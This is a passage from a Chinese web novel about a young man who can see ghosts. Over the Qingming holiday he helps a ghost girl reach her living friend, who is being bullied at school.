“刚刚在里面很尴尬吧？”温寻主动打破平静环境。 温令羽没料到会说这个，他摇了摇头，说出了心里话，“我家没有这种氛围，有些不适应，但很羡慕。” 担心温寻会想多，连忙补上了后半句。 两人是沿着一条路走的，走到了最里面，面前的是废弃的旧祠堂，近些年村里筹钱修了新的，旧的一直没拆，但里面已经空了。 温令羽看着紧锁的大门，再走下去旧没路了。 “我们回去吧。”温令羽注意到时间，差不多该回去了。 现如今温远是一点不敢放温寻一个人在外太久，出去也得他带着，血淋淋的教训摆在面前，他不敢。 温寻仅仅是想把温令羽带出来，出来的时间够久了，确实应该回去，想通了这些，温寻点点头，转身往回走。 突然，温令羽耳边响起了哭声。 大中午的，依旧十分瘆人。 温令羽四周看了看，没有发现哭声源头，而声音此刻也消失了。 应该是他昨晚没睡好，幻听了。 为了找声音停下了，温寻看着温令羽一脸迷茫，她环顾了一圈，周围什么人都没有，“怎么了？” 温令羽摇摇头，带着温寻往回走。 远远看见温寻家门口，温远果然已经在门口等着了，他见到两人回来了，松了口气，把两人领进去。 “要是你们还不回来，我都要打电话找人了。” 清明这几天，预报说都要下雨。 好不容易上午天晴，吃完饭后，天马上变得灰蒙蒙，眼看着就要降下来。 阿辛已经把整个村找了一圈，在温寻这里看到人，眼泪恨不得瞬间下来，他拉住温令羽就要走。 “快回去，家里都快要被掀了。” 这么一说，温令羽哪还有心情再待下去，找了个借口，火急火燎和阿辛回了家。 眼看行走的方向，出事的还是自己家。 发现了这点，温令羽的脚步都快了，半点不敢耽搁。 等站在自己家门口，已经上气不接下气，气喘吁吁调整呼吸。 拿钥匙开门进去，一瞬间，温令羽脑海里闪过的唯一一个念头。 家里的隔音效果原来这么好。 温老此时捂着耳朵，面对地板倒在上面，努力让自己忽视掉房间里响起来的噪音，甚至阿辛和温令羽回来的声音都听不见。 完全盖住了。 温令羽脱口而出就是一句，“家里闹鬼了？” 早就在房子里的两只鬼十分无辜摊手，这动静可不是他俩搞出来了。 紧接着，二楼就一小孩跑下来，而且是大吵大闹的。 忍无可忍了。 温令羽直接冲到他面前，“别喊了。” “啊！你有影子，你能看见我？！”小孩的眼睛瞪得老大，神情变得恐慌。 人吓鬼的传说，在温令羽这里不断重复上演。 不过，正是这样，小孩没再继续叫唤，房间内安静了不少。 安静了没几分钟，门口出现一小女生，看岁数应该才上初中。 “听说你能帮忙传话，我有一个朋友……”她对温令羽能看见鬼的事情，毫不意外，甚至还很高兴。 阿辛见属实瞒不下去了，果断放弃温老，选择站在温令羽一边，“这两个小孩原先是跟着温大爷的，上回温大爷带我们回来，相当于把他们托付给我们吧。” 作为收留这两的人，温令羽指了指自己，“我也得管吗？” 阿辛看了一眼温老，眼看温老直接装不知道，甚至要让他自己独自面对温令羽的怒火，他上前几步揽住温老手臂。 然后将温老也拖入“战场”，“温老答应下来的，不关我的事哈。” 一老一小，自己都没地方去了，还给温令羽揽活。 温令羽一脸抗拒，毕竟家里实在是装不下那么多鬼，而且还是两个小孩，他现在脑海中全是温昕小时候闹事的画面。 接受无能。 温令羽严肃表明离场，“绝对不行，两个小孩怎么能和我们住一起？” 这话温令羽没当着人家面说，是偷偷地、悄悄地在温老耳边说的。 温老拍了拍温令羽的肩膀，特别好心给他出点子，“没关系，要是我们能把她的祈愿解决了，把鬼送走不就好了。” “三天解决两？你太看得起我了吧。”这方面，温令羽相信不了自己。 温老像是压根没听到，让那小女生过来，准备好好听听她嘴里的朋友。 温芷欣是温大爷那一条血脉的，与温寻有点关系，是她的堂表姐，按年岁是比温寻大几岁，在温寻还没被找回来时，就因病走了。 温令羽和他们的关系，简单来说，只是同一个姓氏，各自从其他地方迁居过来，便一块当了邻居。 甚至连族谱都是分开记载的。 两家甚至连姻亲都没有，只当朋友，不走结婚生子延血脉这条路。 温令羽听完了此，对温芷欣有了了解，然后指了指那小孩，说道：“那他呢？” 温芷欣摇了摇头，她其实也不知道这小孩是谁，只是刚好她回来后没个伙伴，恰好他在旁边 19.画得好丑 《人鬼交流所》全本免费阅读 车子慢慢往前走，到了那边还得换乘其他班次，可以直接坐到学校门口。 这所初中，温令羽上过两个学期，当时初升高，才发现温令羽的户籍没改过去，加上家里继母和温父老是吵架。 温令羽的爷爷奶奶心疼这唯一的小孙子，主张让温令羽待在二老身边，由他们来照料。 从亲妈那到亲爸这里，都有了新家庭就由送到爷奶那儿，温令羽刚从温父口中了解到，瞬间脾气就上来，语气坚定，死活不去。 “你爷爷奶奶一心都为了你，你看看小昕他连问都不问一句。”温父说到二老区别对待就生气。 温令羽在气头上，口不择言，“所以，刚好遂了你的意，把我送走就高兴了？” 父子俩吵起来像是要把桌子都给掀了，谁也不让谁，都是个强硬不服输的性格。 然后，温父把二老从老家都接了来，把温令羽劝了回去，让他在老家住一段时间。 初三一年转到了陌生的地方，温令羽的成绩并不理想，好在温父肯砸钱，转回了本地的高中，为了顺毛，这会是连学籍都一块转了进来。 温令羽运气好，刚好擦边过了分数线。 但一年的初中生活，还是在温令羽心头烙下了不小的印子。 阿辛见温令羽都不带问的，下车之后，直接上了另一辆，熟悉得像是他也读过一样。 “阿羽，是这辆车吗？”阿辛有些怀疑。 温令羽去过，怎么可能走错，他先一步上了车，温芷欣随后也跟了上来，“是这没错，你去过？” 后一句问的是温令羽。 温令羽点了点头，像是在说一件稀疏平常的事情，“我以前在这里读过。” 温芷欣满脸震惊，不敢信，“不是，你不是上大学了，怎么还能在这里读？” 不怪温芷欣意外，这所初中烂到了骨子里，打架斗殴那是家常便饭，本地的人都不愿意自家孩子读这所，只要成绩够其他学校。 保准送得远远的。 可温令羽从其他地方转学过来，拿出来的成绩没有特别优异，好的学校不想收，稍微差一点的就离家远了，温家二老都不同意。 “就这所近，留那里了，但一年补习是没少过。”温令羽讲完不忘补充。 距离近是真的近，说话的这么点时间，就到了目的地。 时间上非常凑巧，刚下来，校园里开始打放学铃了，没一会儿有学生陆陆续续进来。 不少走读学生骑着车从里面出来，保安尽心维持着门口的秩序，由于门口人来来去去特别多。 是溜进去的最好机会。 趁着保安在喊另一边的学生不要并排骑，温令羽直接装成学生进去了。 好在这个学校的学生不强制校服，好在温令羽头发没乱搞，稍微装一点，还是能混进去的。 温芷欣看了一圈，指了指前方的图书馆，“她应该在那里，在开饭前都是在图书馆学习。” 在这所学校，是一股清流。 温令羽没来过这里，他本身就不爱学习，图书馆这种神圣场地他一向敬而远之，至于能上高中，全靠温父砸钱请家教。 假期被逼着学，学习时间比学校里大部分人都长，获得回报是自然的。 有了温芷欣带路，很快就在自习室靠窗的位置找到了人，明明人就在前面，温芷欣却在半途停了下来。 “她又看不到你，你坐她面前的位置都行。”阿辛搞不清楚温芷欣退却的心理，只是单纯觉得奇怪。 温芷欣沉浸在自己的世界里，对周围的一切视若无睹，一心只看着眼前的朋友。 温令羽对这个朋友也很好奇，他一个大块头在空荡荡的图书馆里明显，所以他绕过一侧的书架，在另一端平行的位置坐了下来。 好在视力不差，能看见对方在做什么。 说来很奇怪，她的课本全是皱巴巴的，没几本全新的，不像是自己折的。 特别像，被水浸湿过。 但书摊在桌上，水杯被弄倒是常事，温令羽并没有往其他地方想，而真正使他确定下来，是她的书封面上，画满了涂鸦。 说涂鸦是抬举了，分明就是故意乱画上去的。 温令羽给温芷欣指了那一块，轻声说道：“你朋友是不是被欺负了？” 温芷欣照着温令羽指的方向，飘到了对方身边，仔仔细细确认。 过了不久，温芷欣回来了，温令羽问她：“是吗？” 温芷欣摇了摇头，说道：“那是她自己画的，画得丑了点。” 她这么说，温令羽半信半疑。 就这么陪她坐了一会儿，饭点铃声响了，也意味着，温令羽再不走就赶不上回去的班车。 在图书馆门口，温令羽向校门口走，而另一位朝着食堂的方向走去，好像还遇上了自己的同学，结伴一起。 正是这个画面，温令羽推翻了原先的猜想。 就出来认了个脸，温老问起他们来，温令羽和阿辛都不好意思开口。 “我给你们看娃，你们就出去玩了一圈就回来了？”温老装模作样地扶了一把老腰，像是在说自己已经累到不行了。 这个时候已经晚了，温令羽将一众鬼安排在自己家，自己则是赶到了三叔公家。 这么一顿跑，温令羽是连晚饭都没吃，眼见着饭桌上已经收拾干净了。 三叔公问起他来，“回来了？吃过了没有？” 担心被教训，温令羽只能假装自己吃完回来的，错过饭点的是他，“在同学家吃过了，叔公吃了吗？” 三叔公点了点头，脸色变得黑沉，“说要来三叔公家做客，结果连一顿饭都没坐下来吃过。” 温令羽顿时哑巴，嘴仿佛有千万斤重，张不开，连句辩解都没有，任由三叔公说。 很多时候，理由会被当作借口，长辈最不喜欢借口，温令羽干脆省略这个步骤，直接挨训。 结果，三叔公下一句又回转过来，“听说温远家孩子找回来最大的功臣在你，好孩子，这顿饭也确实应该去。” 一句话就给温令羽打懵了。 凭习惯回应道：“温远叔能把孩子找回来全靠祖宗保佑，功劳不在我身上 20.唯一朋友 《人鬼交流所》全本免费阅读 温令羽从位置上站了起来，脱口而出，“你说什么？” 话落，餐桌上的目光聚集在温令羽一人身上，二叔公已经开始不高兴，他声音冷冷的，“你想说什么？” 要是以往，温令羽还能为自己解释几句，但见温老一脸焦急，他的事情不假，想到此，温令羽待不下去，直接从椅子上站起来。 “叔公，我还有事先走了。” 原本这桌席，温令羽就没有上桌的资格，但成年之后，在温父缺席的情况下，自然可以成为在座讨论的一员，要是真想走，其他长辈也不会说什么。 很多人打心底里觉得温令羽不能说出些什么。 因而，温令羽离席没有阻力，当着众人的面，走出了房子。 温令羽赶回了自己家，其他人都在，温芷欣已经不在这里了，最有可能去的地方就是学校，那里有她牵挂的人。 阿辛与他想到一块去了，对视一眼，两人凑准时机，赶上了最近一班车。 意外的是，不仅在学校里没有见到温芷欣，连她朋友也都没有。 明明今天下午才开始放清明假，但整个学校都没有见到人，甚至连厕所，温令羽都让人进去问一下，也没有得到回应。 “温令羽。”身后有人在叫他的名字。 转身看见曾经的班主任站在那里，要他没记错，他就是借口来看班主任的。 “老师。”温令羽站在厕所门口，准备看完最后一个厕所就去其他地方找。 “刚刚进来门卫和我说你来找我？怎么在这里。”班主任还记得他为数不多能上高中的学子。 温令羽灵光一现，“肚子不舒服，等下就去老师你的办公室。” 班主任带着他往自己的办公室走，中途遇到其他教过他的老师，温令羽纷纷开始打招呼。 “当时分到我们班，不高兴吧。”班主任突然间提到了以前。 温令羽潜意识里在努力忘记这里的生活，毕竟作为刺头之一，他干的事都是不能去想的。 一定要和其他人反着干，稍微不顺着心意，就起冲突，双方打起来是最自然发生的结果。 温令羽笑了下，很给面子地说道：“高兴的，有好老师还有好同学。” 班主任闻言笑得很开心，他知道温令羽在睁眼说瞎话，但也没有明说。 到了他的工位上，温令羽注意到上面贴着的班级照片，指了指它，问道：“老师，这是你的新班级吗？” 班主任也看到了这张，他点了点头，介绍道：“带了三年了，今年初三。” 照片上是班级的运动会照片，有两张，初二和初三各一张，温令羽看到了温芷欣的朋友。 太巧合了，他们竟然会是同一个班主任。 “她在学校里情况怎么样？”温令羽指着她问道，不放过班主任脸上的表情变化。 班主任先是一愣，反应过来后，不答反问：“你问这个做什么？” 见他闭口不谈，只当是因为作为一名教师，不能随便去说学生的事情，会有这个顾虑在。 温令羽解释道：“我们是朋友，大家都住得很近，所以想关心一下她的学校的情况。” 班主任这个时候已经缓过来了，不似刚才那样，他说道：“她在学校挺好的，成绩也好，成绩单还在这里。” 最近一次考试，成绩单正放在桌子最上面，一眼就能看到，但看见她语文成绩是零分后，温令羽有些吃惊。 零分语文，除非交白卷，否则不可能会是零分的，连同情分都没有。 而班主任也是教语文的，温令羽状似不经意问道：“老师，语文零分是你手底下的？你这班主任威严不大啊，你的科目都交白卷。” 但是班主任此时此刻不想谈论这个话题，他看了眼时间，“时间不早，我马上要上课了，你自己在学校里到处逛一逛，不过要注意，千万别被教导主任抓到了。” 最后几句显然是缓和气氛，温令羽附和道，从办公室离开。 阿辛等在办公室门外，以往他要是能去，肯定是找到机会就来，对于办公室，有多远走多远。 “整个学校都没有，现在能去哪里？” 温令羽说不上原因，但班主任肯定有些话没说清楚，他先是摇了摇头，然后随机拉住一个路过的学生，问道：“同学，你是几年级的？” “初三的，怎么了？” “你认不认识周蔓？”温令羽非常庆幸自己刚刚注意了名字，这个时候能派上用场。 这个名字一出，对方立马惊觉，“我不知道，你去问其他人吧。” 说着，飞快地跑开了，一连问了好几个都是这样的情况，弄得温令羽都无法不重视。 再怎么迟钝，也能反应过来。 温令羽跑了一个上午，急着上厕所，可这层楼又没了空位，温令羽只好跑到实验楼，两栋楼间用连廊相连，但实验楼在最里面，太荒凉了，没事都不会去。 一般去都是有事，就如现在。 “刚刚有个来问那个谁，我都不知道怎么说。” “那个有病的？和她太近没好下场，初一时候她那个朋友不就是活生生的例子吗？” “说到这件事就火，当时问她发生什么事，还告状说我欺负她，我处分到现在都没消。” 从细碎的语言里，温令羽还是能拼凑出一点真相来。 温芷欣的离开应该和周蔓的关系很大，或许真的是周蔓在学校里因为前两年的事情受到了排挤和欺凌，而温芷欣想拯救这个朋友。 “那我们先找周蔓还是温芷欣啊？”阿辛还记得自己此行的任务。 “周蔓，找到她就能找到温芷欣，而且周蔓现在可能会有危险。”温令羽很担忧情况。 就在走出校园门，看见周蔓从校门口进来，还和保安出示证明，打了声招呼，保安还关心切地问了一句，“可以进去了，我给你开门。” 现在正是大课间时间，按理来说，保安肯定会问去向，何况周蔓连个假条都没拿出来。 因为打架频繁，学校一向把时间管得很严，甚至连下课都只有五分钟，就是为了预 21.第 21 章 《人鬼交流所》全本免费阅读 “进来坐。” 温令羽走进来，房子里面已经整理完了，沙发都遮上了，二老准备和温远去外面住。 在场的行李箱里，温寻的是最显目，小小的一个，还摆在最前面。 温远走过来，看见温令羽的注意力放在这里，然后说道：“小寻要开始上课了，我爸妈去照顾她，一家人团聚。” “这样挺好的。”温令羽走到餐桌那，温远带他坐到他的位置上。 温寻的堂姑姑也来了，听说二老要走了，过来吃个饭，就当送行了，毕竟一走，二老肯定不会轻易回来住。 温寻堂姑姑把手机放餐桌上，自己则是去厨房帮忙端菜，恰好铃声响了。 屏幕上，是温芷欣的照片，穿着校服靠在堂姑姑身上，面对摄像头笑得很开心。 温令羽在问与不问之间纠结，这一问，就有可能提起她的伤心事。 但周蔓的事情迫在眉睫。 温令羽心一狠，眼一闭，选择直接问：“温姑姑，我和芷欣以前认识，她转学之后发生了什么事啊？” 堂姑姑听到“芷欣”还愣了很久，但听到转学字眼，肉眼可见，脸上全是迷茫，像是没明白对方在说什么。 “芷欣从没有转学啊。”堂姑姑对这点十分确信，语气不容置疑。 在场人的目光下，也纷纷表示肯定。 看来，说谎的人，是温芷欣。 一边求助，一边欺骗。 温令羽有点想不通，思路到了死胡同，再好吃都没有好好品尝的心思，但为了不影响其他人，还是在努力隐藏。 一顿饭的时间说长不长。 从餐桌上下来后，温令羽大大松了一口气，在客厅坐了一会儿，聊了一会儿。 看了眼时间，“你们路上小心，我先走了。” 温远将温令羽送到家门口，还想用车送他回去，温令羽赶紧让温远别忙活，自己跑回去了。 路过三叔公家门口，有眼尖的亲戚一眼就看见了他，叫住他：“阿羽，要来准备东西了，你要去哪里？” 温令羽看着近在咫尺的家门口，叹了口气，还是折了路，一起来帮忙，“来了来了。” 明天早上是重头戏，一整个大村子都得过去，明智的都放在前一天，人不多不挤。 把明天要用的东西搬上车，温令羽总算是可以歇一会儿，被恩准回去了。 推开家里的门，原本急切的心情到了现在，逐渐平静下来。 温令羽回到了家，先去厨房给自己烧了壶水，然后泡好了茶，喝了一口才开始理房子里的人。 能如此沉得住气，温令羽头次感到佩服自己。 温芷欣自从回来后就把自己关在房间里，温令羽回来的动静也没能把她叫下来。 “你去把温芷欣叫下来？”温令羽对阿辛说道。 话落，阿辛躺在沙发上的姿势没变，说道：“我不去，男女授受不亲，我一大男生怎么能去女生房间。” 温令羽看向温老，因为他也是因为同样的理由才叫阿辛去的。 温老指了指小家伙，“带娃，勿扰。” 一老一小，全都靠不住。 温令羽将堂姑姑说的话转述给他们听，势必要让他们知道这件事情的严重性，重视起来。 阿辛站了起来，“我去敲个门，人家不下来我也没办法。” 信任是最基本的。 阿辛没想过先把人骗下来，其他事情可以之后再说，但阿辛这孩子实诚，直接让她自己下来解释。 温令羽在下面听得头都大了。 与人相处的标准，是不能与鬼等同的。 温芷欣没有逃避，跟着阿辛从楼上下来，一脸无辜地看着大伙，“你们都知道了？” 温老原本还不信，这下直接从沙发上站起来，“你还真骗人？” “那你哭得撕心裂肺，是装给我们看的？” 老头子被欺骗后，脾气控制不住了。 阿辛拆台第一人，“她也没哭得这么惨。” 眼见着话题偏到没边，再迟钝，温令羽也能发现，这是给温芷欣帮忙的，让温令羽知道之后能不说太狠。 温令羽看明白了，他阻止了几人的动作，“别帮了，看样子我是会骂人的样子吗？” “没有没有。” “你不要瞎说。” 温老和阿辛双双闭嘴，然后将主场交给温令羽，表示自己不再说了。 温芷欣看着现场发生的一切，“所以，你们现在只是猜测？” 她一脸懊悔，早知道自己不一说就下来了。 但到都到地方，瞒是瞒不住了，温芷欣确实需要温令羽的帮助。 故事其实如温芷欣说的那样，发展过程都是一样的，唯一偏差的是对象。 转学来的是周蔓，一直留下这里的是温芷欣。 温芷欣小学就是孩子王，别说自己班吃得开，在其他班朋友也很多，每次串班批评，温芷欣绝对榜上有名。 每个老师看到她，开始还会讲几句，后来相处多了，看习惯了，就当没看见。 来就来了，不闹事就行。 老师们对她的要求极其低。 周蔓是因为父母工作转学到这边，点名要好好照顾，班主任接到任务没辙，左思右想，干脆把这个任务交给社交悍匪——温芷欣。 “芷欣，我们班要有个新同学，安排她和你同学可以吗？” 表面是询问意见，实际上是决定下来了。 从办公室回来，新同学就来了，班主任把从校门过来的周蔓带到了教室。 但也正因为如此，周蔓过来的时候，她从车上刚下来，还背着她的大书包袋，手上拎着从家里的零食。 由于零食袋是透明的，可以看见里面装着杂七杂八的东西。 “她叫周蔓，是新转来的学生。”班主任介绍道。 班主任没把她拿东西，所以她拎着大袋子特别吃力，也显得狼狈。 温芷欣 22.我能听见 《人鬼交流所》全本免费阅读 在场的人，都没有责怪她的立场。 更何况现在最重要的不是责怪，而是怎么去解决这个事。 时间来不及了。 清明假期即将结束，没几天温令羽就要赶回学校了，没办法一直待在这里，所以要抓紧时间。 几个在客厅里想破脑袋，阿辛实在是待不住，“我出去看看，你们继续。” 阿辛在里面待得痛苦，人生地不熟的，他也只能在附近逛一逛，害怕迷路回不来，社恐如他，是不敢向陌生鬼求救的。 这里靠村口近，来往车辆很多，阿辛随意找了个地，坐下来看往来人群，来了哪些人，走了哪些人。 突然，从车子上下来一个熟悉的面孔，周蔓还背着上学时带的书包，连衣服都是白天在学校里穿的那套。 周蔓有她的目的地，没有一丝犹豫地往里走，这条路像是走过许多遍。 阿辛赶紧回去向屋子里的几个汇报消息，“周蔓来了，但不知道是去哪里？” 听后，温芷欣一刻都等不了，去追周蔓的身影了，温令羽和阿辛随后跟上，然后他们突然想起温老，齐齐用眼神询问他的意见。 旁边沙发上还躺着孩子，温老叹了口气，朝他们两个摆摆手，“我照顾他，你们赶紧追上去。” 过去的路上，阿辛边追温芷欣，还顺便同情一番温老的遭遇，“那个小孩从出生起就跟着他爷爷，所以待在老先生身边，他就会安心不会闹。” 早在这几天里，温令羽已经见识过小孩子的威力了，一言不合就哭，若是能碰到东西，整个房子都被他砸了个遍了。 “那温老他不情愿啊？”温令羽脑海中浮现出，温老一脸生无可恋的表情。 阿辛点了点头，“老先生嘴上一直在说麻烦，应该是不想带，但老先生很仔细，连睡觉都要仔细看着。” 说话的功夫，温令羽和阿辛追上了温芷欣，但四周都没有周蔓的人影，阿辛性子急，上前去问：“周蔓呢？你没找到她吗？” “她在里面。”说着，抬了抬下巴，示意人在房子里。 温令羽越看房子越熟悉，脱口而出一句，“这不是你家吗？” 温远家就在附近，中午目送温寻堂姑姑离开时，温令羽就看到她进了这栋房子，而堂姑姑就是温芷欣的母亲。 温芷欣意外温令羽竟然知道这个，“你怎么知道的？” “因为温寻是我帮忙找回来的，去温叔叔家吃过饭。”温令羽解释道。 “我知道，那个找温寻的老头也是我老祖宗。”温芷欣对温大爷没什么好脸色，甚至不想多提他。 说到了这个，阿辛担心温令羽会追问，赶紧拉住了他，甚至还拉远了好几步，不想让温芷欣听见。 “别问别问，问了就糟糕了。” 温老陪着温大爷回了这里找线索，刚看完祖宅，准备去四周再找找，迎面就碰上了温芷欣带着一小孩在房子附近晃荡。 双方一番友好交流后，慢慢发现，竟然是一家人。 温大爷既悲伤又因为见面感到高兴，“这么小的娃娃，还没有感受过幸福就成了鬼。” 刚开始的氛围十分和谐，但温大爷因为温寻的事着急，就说到了完成任务的事情上。 温芷欣恰好为这件事发愁，便向两位长辈寻求帮助，无果。 “这个事情不急，找孩子更重要。”温大爷并不想在这里待很久，对温芷欣的求助表示拒绝。 对于把办法找了个遍，都没办法让周蔓走出来，心里全是气，“孩子是你晚辈，我就不是了？就你这样的，白瞎了我家每年上供的东西。” 这话一出，温芷欣敢说，阿辛是一个字都不敢记。 温令羽记得温老也在同行行列里，他问道：“温老怎么说？” “他正被那个小的缠着，抽不出空。那场面我都不敢看，找到机会就先回来了。”阿辛费了心力重新回忆，想想场面都让他头疼。 难怪，阿辛比他俩回来都早，不是他们不想，压根是回不来。 这时，门开了，周蔓从里面出来，眼眶红红的，是哭过了。 堂姑姑没有出来，送周蔓的是家里的打扫阿姨。 温令羽就在她走出来的必经之路上，她看到了，没说话，往旁边走一点，离得远远的。 这个点，回去的班车已经没有了，周蔓自己也清楚，她先是茫然地看了看四周，最后在一个小亭子那里坐下来。 温芷欣担心她的安全，跟在她旁边。 温令羽条件反射跟上去，忽略了自己是个人的事实。 “你为什么跟着我？”周蔓厉声质问温令羽，大晚上一个男生尾随，实在是太恐怖了。 温令羽后知后觉，然后赶忙道歉，“我是温芷欣的朋友，她拜托我要保护你。” 周蔓说：“我不信。” 温令羽给她竖了个大拇指，赞扬她，“好意识，但我真的是温芷欣朋友。我证明一下，她最常穿粉色公主裙，但实际上这是她妈妈强迫的，她更喜欢裤子。” 这话温令羽听温芷欣说过，便记住了。 听到温令羽能这么肯定说出温芷欣的情况，周蔓已经相信了一半，可她还有顾虑，她说道：“她最喜欢带的耳环是什么？” 温芷欣就站在自己面前，借着亭子里的灯光，温令羽注意到她耳垂上没有洞，“她没耳洞，不带耳环。” 这个答案，连本人都十分赞同。 但周蔓否认得很快，“她有，你说错了。” 典型的唬人，温令羽毫不上当，甚至有些失笑，恨不得给周蔓好好指一指，温芷欣就站在他面前呢，不可能出错的。 看对方半天不改答案，周蔓“败下阵来”，承认了刚刚是在“炸”他，“你确实是，她还和你说什么了？” “让你好好生活，别再想她了。”无论是内容还是语气，都显得冷漠又无情。 阿辛还一旁慌得很，生怕温令羽的话刺激到周蔓，把她气发病了，回头温芷欣肯定不会放过他们两个。 谁料，周蔓一听这话，笑了，“像是她说的话，跟她说我会努力的。” 这么个回答，是在场所有人都没想到的，不过温芷欣很高兴，她让温令羽转述，“好好 23.你等等我 《人鬼交流所》全本免费阅读 温老此刻正坐在茶室里品着茶，猝不及防听见温令羽在叫他。 今天温令羽出门要干什么，温老心里是清楚的。 他指了指自己，“你是在说我吗？” 眼里的疑惑太过真切，温令羽对此十分肯定，他点头确认，然后说道：“毕竟我们都是去看你的，不去不合适吧。” 此话合理。 温老随即站起来，飘到了温令羽旁边，“既然这样，那就去吧。” 路上停的车子多，三叔公让温令羽找个有空位置的车坐，他家人多，车子都坐满了，只能去其他家。 车浩浩荡荡开过去，流程每年都一样，一点新花样都没有，摆完供品之后上香，然后让小一辈站前排跪拜。 温令羽已经过了站前排的年纪，他站在后面，等待仪式的结束。 正在他无聊到去看墙上挂着的像，惊讶地发现，温老的画像就挂在那，长得和现在一模一样，虽然是画，但仔细看看还是能分辨出来。 这时，前面站的人群散开了，说明祭拜结束，可以各自离开了。 温令羽直接朝画像走过去，在上面写有温老的名字——温正业，然后有记录他的一切。 但字很小，站得太远看不清楚。 “这幅像怎么在这里？”二叔公注意到温令羽，走过来看到老祖宗像摆放在这里，下一秒就要生气怒吼了。 三叔公也走了过来，看到像，“我派人放的，当时在群里通知过了。” 二叔公并不关注家族群消息，错过了也是常事，但没有来由把像放在旁边，而不是正位，不符合规矩。 被烦得没完，三叔公让他儿子和二叔公说清楚，自己则是离开了这里。 就他一个小辈，绝对是不能比长辈还早离场，哪怕是再难待，温令羽只能尽力让其他人别发现他。 “前段时间，姑奶奶找到了从旧祠堂翻出来的记载，发现老祖宗当时做了错事，已经把他从族谱当中驱逐出去了，现在还留在祠堂，全是后来族长心善。” 温令羽还想听三堂叔父细讲，可对方看到了温令羽，便让他先走了，后来的话，温令羽自己也不知道。 温老就站在祠堂大门口等，见温令羽出来，问：“里面结束了？” 早就在仪式开始，温老还觉得有趣，一看阵仗越来越大，他便待不住，借口出去了。 “我们回去吧。” “什么时候回家？待不住了。”温老早就被孩子闹得烦躁，这个问题已经问了好几遍了。 甚至在温令羽回答“要在祭拜他之后才走”，开始抱怨为什么要有这个环节。 回到了家，进门发现周蔓还在，问也没问，就把温令羽特意带来的泡面泡了。 “你怎么还在？”温令羽发自内心得好奇，从而直接问出了这句话。 温芷欣抢先一步，说道：“小蔓没地方去，再待一天。” 一听就知道是借口，温令羽丝毫没给面子，他说道：“今天放假最后一天，你不用上晚自习吗？” 与温令羽是同一个学校，时间管得很紧，哪怕没有下午的课程，也会定晚上的自修。 温芷欣也上过一个学期，自然是能算得到。 她看向周蔓，满脸不可置信，“你骗我？你不是说还在放假吗？” 见她不相信，周蔓急切地到处找温芷欣，说道：“我没有，我不用上晚自习。” 说着，她掀开自己的长袖，手臂上有留下的疤痕，“老师说，让我不用去参加自习课，不要打扰到其他同学上课。” “我的情绪不稳定，经常控制不住自己。” “班里的人可羡慕我了，不用按时上课还可以经常出校门。” 所以，门卫才对她十分熟悉，哪怕是延迟到校，都不会因此责怪她，甚至还会同她打招呼，完全不像抓住外卖时冷血无情的样子。 温令羽还沉浸在他的猜想中，阿辛叫醒了他，“你觉不觉得她像是在卖惨。” 下一秒，温令羽和阿辛就听见温芷欣在向周蔓道歉，对于误会她这件事情，然后松口让周蔓多待在这里。 本不觉得的事，这会儿竟然出现了苗头。 墙上钟表指针在走，无时无刻不在提醒温令羽时间，他明天下午有课请不了假期，需要赶晚上的火车回去。 温老催促道：“时间不早了，我们应该要走了。” 说着，二楼传来脚步声，接着就是下楼梯的“噔噔”声。 “爷爷，你要走了吗？” 温老有些不敢看对方泪眼哇哇的眼睛，他说道：“是的，我要回去了。” “那你还会来吗？” 温老上一次离开前，也曾问过这一句话，当时温老只是敷衍他，这一趟再次回来纯属意外。 相处了这么些天，吃喝拉撒睡全是跟着温老，早就有了感情。 温老头一回没有逃避，“我不能保证，如果我回来一定告诉你。” 这一老一小在做离别前的最后谈话，而另一边，温令羽认真地看向温芷欣，“你想好了吗？如果你告诉她真相，或许就可以了。” 话的意思很模糊，模糊到除非是当事人，否则听不出来。 比如周蔓。 温芷欣跟着温令羽去了别的地，她还在犹豫，“我现在不确定了。” 相互惦念的朋友，在生与死的界限面前，还有再度相遇的机会，自然是会有所不舍。 但在时间紧迫的情况下，温令羽把选择权交给了温芷欣，“若是你告诉了她，你是因为她的缘故才重新回来，甚至可能再也回不去了，人活着的时间极其短暂，当她死后，你将再也走不掉。” “我知道，可我怕她为了让我走，当下是放下了，但未来某一天依旧感到孤独，连陪伴都没有，我怕她会撑不住。”温芷欣的担忧在情理之中。 话音刚落，门就被打开了，阿辛在周蔓身后摊手，“我拦过了，可是我是个鬼，拦不住人的。” 他们两离开得这么明显，周蔓肯定会跟上来，怪只能怪家里隔音太差，挡不住人声。 “你们先出去吧。”温芷欣要和周蔓单独谈一谈，让 24.谈个生意 《人鬼交流所》全本免费阅读 凌晨一点，火车才开到目的地。 还好出口停了不少出租车，不至于让温令羽要在火车站住一晚。 坐车回到了家，温令羽困得不行，行李箱随意放在客厅里，自己则是直接躺床上开始睡觉。 阿辛和温老见状，也觉得身心俱疲，纷纷回房间休息。 果然在现实世界待久了，是会被同化的，鬼失去了人类的一切，只留下了虚无缥缈的意识，但却幻想出了感觉。 睡了一顿舒服觉，温令羽神清气爽，昨晚回来得太晚，身上黏嗒嗒，急需要洗个澡舒缓一下。 头发上还挂着水，温令羽一手拿毛巾擦头发，另一只手拿水壶，准备给自己泡壶水。 悠闲地过一个上午。 阿辛神色疲倦地飘进来，在温令羽面前的座位上坐了下来，打着哈欠，“阿羽，早啊。” “你晚上做贼去了？这么困。”温令羽打趣阿辛。 这时，温老也睡饱了，他走了出来，正巧碰见阿辛在吐槽他，“老先生的呼噜声太大了，我根本没睡着。” 越老越幼稚，温老一定要阿辛改口，说自己并没有打呼噜。 温令羽不说话，站在一边看个乐子，没看几分钟，就殃及到自己身上。 “别看了，你下午有课，还不快点准备。”温老没好气地提醒。 果不其然，墙上的指针显示过了十二点，而现在他连午饭还没有点下去，再不赶紧就来不急了。 阿辛眼看温令羽正在点单，他疑惑了，“外卖来不及吧，自己做呗。” 去了这么多天，冰箱里早就没有能用的食材，唯一几包速食泡面，全被带到了老家，现在整个家里没有存粮。 火急火燎吃完，着急忙慌打车，终于是在上课铃响前到了教室，天气转温，现在已经是热得不行。 “阿羽，看你急得，要不然还是住校吧。”宋时盛给温令羽占了旁边座位，见他满头大汗，有些庆幸他选择了住校。 不仅可以多睡几分钟，而且不用担心迟到。 温令羽惦记他家里的几只鬼，再心动宋时盛的建议，也没法就这么答应下来。 “你在你老家过得怎么样？这几天跟我爸妈出去吃饭，根本空不出时间。”宋时盛被带出去应酬，回到学校，整个人像被吸干了精气，又累又困。 温父偶尔带上温令羽一起，知道他不想去，觉得不情不愿去容易丢了面子，温父干脆就遂温令羽的意，这种场合都不会叫他。 